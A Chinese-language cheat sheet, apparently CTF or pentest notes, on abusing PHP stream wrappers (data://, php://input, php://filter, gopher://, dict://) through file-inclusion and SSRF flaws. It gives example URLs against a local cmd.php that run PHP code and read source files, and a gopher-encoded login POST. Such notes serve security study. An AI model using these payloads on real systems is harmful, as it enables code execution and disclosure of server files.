伪协议使用的地方

文件包含函数

1
2
3
4
5
6
7
include()

include_once()

require()

require_once()

文件读取函数

1
2
3
4
5
6
7
8
9
10
11
12
13
file_get_contents()

file_put_contents()

fopen()

file

show_source()

readfile

highlight_file()

file://协议

访问本地文件系统

1
2
allow_url_fopen关闭(php.ini文件)
allow_url_include关闭(php.ini文件)
1
利用示例:http://127.0.0.1/cmd.php?file=file://D:/xxx.txt

data://text/plain协议

可使用此协议执行php代码

1
2
allow_url_fopen开启(php.ini文件)
allow_url_include开启(php.ini文件)
1
2
利用示例1:http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
利用示例2:http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

gopher://协议(未完善)

使用条件

1
2
3
PHP > 5.3 且使用的选项是--wite-curlwrappers(curl工具打开url流)
JDK < 1.7
ASP.NET < 3

用于SSRF漏洞

1
2
3
4
5
gopher://ip:端口/路径_后接TCP数据流

数据流末尾使用%0d%0a表示消息结束
url编码使用%0d%0a替换字符串中的回车换行
对于curl_exec()造成的SSRF,需要将数据进行二次URL编码

gopher的数据流

假设存在一个SSRF漏洞/use.php?url=http://ip/

有一个index.php需要通过use.php去提交form表单才能够登录

1
2
3
4
5
6
7
8
9
10
11
gopher://127.0.0.1:80/_POST /index.php HTTP/1.1
Host: 目标IP:端口
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Connection: close
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin

将空格替换为%20,将回车换行替换成%0d%0a

php://input协议

1
allow_url_include开启(php.ini文件)
1
2
利用示例:http://127.0.0.1/cmd.php?file=php://input 
注:该协议获取的是post请求体内容,需要在post中提交<?php phpinfo()?>,且无法读取来自form表单的内容
1
之后使用file_get_contents($file)时,读取的就是POST请求体的内容了

php://filter协议

1
2
3
4
resource=<要过滤的数据流>


无编码绝对路径读取文件:http://127.0.0.1/cmd.php?file=php://filter/resource=xxx.php
1
2
3
read=<读链的筛选列表>

base64编码相对路径读文件:http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
1
write=<写链的筛选列表>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
convert.iconv.输入编码类型.输出编码类型
官方手册:https://www.php.net/manual/en/mbstring.supported-encodings.php

支持的编码类型如下:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

utf-8编码读文件UTF-7编码输出文件:http://127.0.0.1/cmd.php?file=php://filter/convert.iconv.UTF-8.UTF-7/resource=xxx.php

zlib://协议

压缩流

rar://协议

RAR压缩包

ogg://协议

音频流

ftp://协议

文件传输

dict://协议

1
2
3
ditc://ip:port

ditc://ip:port/命令